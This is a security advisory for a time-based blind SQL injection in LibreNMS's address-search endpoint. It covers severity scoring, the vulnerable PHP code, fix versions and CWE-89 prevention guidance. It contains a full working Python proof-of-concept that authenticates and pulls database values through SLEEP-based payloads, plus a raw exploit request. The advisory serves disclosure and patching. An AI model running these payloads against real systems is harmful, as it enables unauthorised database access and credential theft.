GHSA-79q9-wc6p-cf92 CVE-2026-26990
LibreNMS has a Time-Based Blind SQL Injection in address-search.inc.php
- Severity
- 8.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 4.47%
- Chance of exploitation in the next 30 days. Higher than 91.45% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- Fix
26.2.0- Upgrade librenms/librenms to this version or later
Description
Summary
A time-based blind SQL injection vulnerability exists in address-search.inc.php via the address parameter. When a crafted subnet prefix is supplied, the prefix value is concatenated directly into an SQL query without proper parameter binding, allowing an attacker to manipulate query logic and infer database information through time-based conditional responses.
Details
This vulnerability requires authentication and is exploitable by any authenticated user.
The vulnerable endpoint is at /ajax_table.php with the following request displaying the injection point.
POST /ajax_table.php HTTP/1.1
Host: 192.168.236.131
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.236.131
Connection: keep-alive
Referer: http://192.168.236.131/search
Cookie: laravel_session=[Authenticated user cookie]
current=1&rowCount=55&sort%5Bhostname%5D=asc&searchPhrase=&id=address-search&search_type=ipv4&device_id=1&interface=&address=127.0.0.1/aa<injected SQL here>
Within includes/html/table/address-search.inc.php, the user-controlled $prefix variable derived from the address parameter is concatenated directly into the SQL query without sanitization or parameter binding on lines 34 and 52.
// Lines 16-35, 51-53
$address = $vars['address'] ?? '';
$prefix = '';
$sort = trim((string) $sort);
if (str_contains($address, '/')) {
[$address, $prefix] = explode('/', $address, 2);
}
if ($search_type == 'ipv4') {
$sql = ' FROM `ipv4_addresses` AS A, `ports` AS I, `devices` AS D';
$sql .= ' WHERE I.port_id = A.port_id AND I.device_id = D.device_id ' . $where . ' ';
if (! empty($address)) {
$sql .= ' AND ipv4_address LIKE ?';
$param[] = "%$address%";
}
if (! empty($prefix)) {
$sql .= " AND ipv4_prefixlen='$prefix'";
}
......
if (! empty($prefix)) {
$sql .= " AND ipv6_prefixlen = '$prefix'";
}
PoC
The following Python script exploits the time-based blind SQL injection vulnerability to retrieve the value of SELECT CURRENT_USER() from the database:
#!/usr/bin/python3
import requests
import sys
import re
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# Configured to be used with burpsuite on the default burpsuite port of 8080
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# When None is returned it means that all values have been retrieved from the queried value in the target DB
def blind_binsearch_sqli(inj_str):
try:
a = range(32,126)
start = 0
end = len(a)
while start <= end:
mid = (start + end) // 2
target_equal = inj_str.replace("[CHAR]", str(a[mid]))
target_less = inj_str.replace("=[CHAR]", f"<{a[mid]}")
# Return ascii decimal value for storing to a local string buffer
if condition(target_equal):
return a[mid]
# Use lower half of the "a" array
elif condition(target_less):
end = mid - 1
# Use upper half of the "a" array
else:
start = mid + 1
return None
except IndexError:
return None
# Check injection result
def condition(payload):
exploit_data = {
"current": "1",
"rowCount": "50",
"sort[hostname]": "asc",
"searchPhrase": "",
"id": "address-search",
"search_type": "ipv4",
"device_id": "1",
"interface": "",
"address": f"127.0.0.1/aa{payload}"
}
# Payload must be slotted in somewhere in this code
payload_url = f"{url}/ajax_table.php"
r = s.post(payload_url, data=exploit_data)
elapsed_time_seconds = r.elapsed.total_seconds()
# If response time is within sleep function delay range of +1 or -1 second the query returned "true"
if (elapsed_time_seconds + 1) > (sleep_delay * 2) and (elapsed_time_seconds - 1) < (sleep_delay * 2):
return True
else:
return False
def get_length(inj):
length = 0
print(f"(+) Getting the length of \"{inj}\"")
while True:
# MySQL
#length_injection_string = f" AND LENGTH(({inj}))={str(length)}-- -"
length_injection_string = f"' AND (SELECT 1 FROM (SELECT IF(LENGTH(({inj}))={str(length)},SLEEP({sleep_delay}),0))x) AND '1'='1"
bool_value = condition(length_injection_string)
if bool_value == False:
length += 1
else:
return length
def injection(inject_qry):
extracted = ""
length = get_length(inject_qry)
print(f"Length of \"{inject_qry}\": {length}")
print(f"(+) Retrieving the value for \"{inject_qry}\"")
# +2 to length in order to automatically stop the injection once the None value is returned, meaning that the whole query value is extracted
for i in range(1, length + 2):
# MySQL
injection_string = f"' AND (SELECT 1 FROM (SELECT IF(ASCII(SUBSTRING(({inject_qry}),{i},1))=[CHAR],SLEEP({sleep_delay}),0))x) AND '1'='1"
retrieved_value = blind_binsearch_sqli(injection_string)
if retrieved_value:
extracted += chr(retrieved_value)
extracted_char = chr(retrieved_value)
print(extracted_char, flush=True, end="")
elif retrieved_value == None:
print("\n(+) done!\n")
return extracted
global url
global s
global sleep_delay
global username
global password
# Default sleep delay, due to injection query used the response time will be sleep_delay * 2
sleep_delay = 1.5
s = requests.Session()
# HTTPS
s.verify = False
# Toggle debug proxy
#s.proxies.update(proxies)
url = "http://192.168.236.131"
username = "tester2"
password = "Adminbazinga"
if len(sys.argv) > 1:
url = sys.argv[1]
if len(sys.argv) > 2:
username = sys.argv[2]
if len(sys.argv) > 3:
password = sys.argv[3]
if len(sys.argv) > 4:
sleep_delay = float(sys.argv[4])
r = s.get(url + "/login")
login_token = re.search(r"name=\"_token\"\s+value=\"([^\"]+)\"", r.text).group(1)
login_data = {
"_token": login_token,
"username": username,
"password": password,
"submit": ""
}
r = s.post(url + "/login", data=login_data)
# Example: python3 script.py http://127.0.0.1 username password 1.5
if __name__ == "__main__":
injection("SELECT CURRENT_USER()")
Tester user role: <img width="771" height="154" alt="image" src="https://github.com/user-attachments/assets/fe13754c-9a41-48cb-934d-575097675c13" />
Example usage of PoC script: <img width="924" height="104" alt="image" src="https://github.com/user-attachments/assets/6b1e19a9-4c73-4e44-8e16-851ff92d5960" />
Impact
- Any authenticated user can exploit this vulnerability to extract sensitive information from the back-end database using time‑based blind SQL injection techniques.
- This leads to unauthorised disclosure of database contents, including schema information and potentially sensitive application data.
- An attacker can retrieve privileged accounts (e.g. administrative usernames) and their associated password hashes, potentially leading to privilege escalation within LibreNMS by cracking the password hashes and obtaining plaintext admin user credentials.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| librenms/librenms | < 26.2.0 |
26.2.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
librenms/librenms Packagist → 26.2.0
- composer
composer require librenms/librenms:^26.2.0
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the mysql_real_escape_string() API function is available in both C and PHP.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the data
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7w8c-qgxg-m7jx LibreNMS — Stored XSS via SNMP/Syslog Data in Legacy Templates | High | Also affects librenms/librenms |
| GHSA-7gww-x7fh-jf9j LibreNMS: SSRF-driven stored XSS via Oxidized API response fields in device showconfig page | Critical | Also affects librenms/librenms |
| GHSA-7cj5-v4pp-v632 LibreNMS: Stored XSS via graph_descr admin config settings echoed without escaping to all authenticated users | Medium | Also affects librenms/librenms |
| GHSA-jf24-8g2h-2wg7 LibreNMS Vulnerable to Remote Code Execution via AboutController | High | Also affects librenms/librenms |
| GHSA-c9fv-cgmm-2wg7 LibreNMS Vulnerable to Remote Code Execution by Signal Alert Transportation module | High | Also affects librenms/librenms |
| GHSA-jmqm-f8q4-v7wx LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment | Medium | Also affects librenms/librenms |
| GHSA-5gm9-622f-qcg5 LibreNMS: Cross-Site Scripting in ShowConfigController | Medium | Also affects librenms/librenms |
| GHSA-pr3g-phhr-h8fh LibreNMS is Vulnerable to Remote Code Execution by Arbitrary File Write | High | Also affects librenms/librenms |
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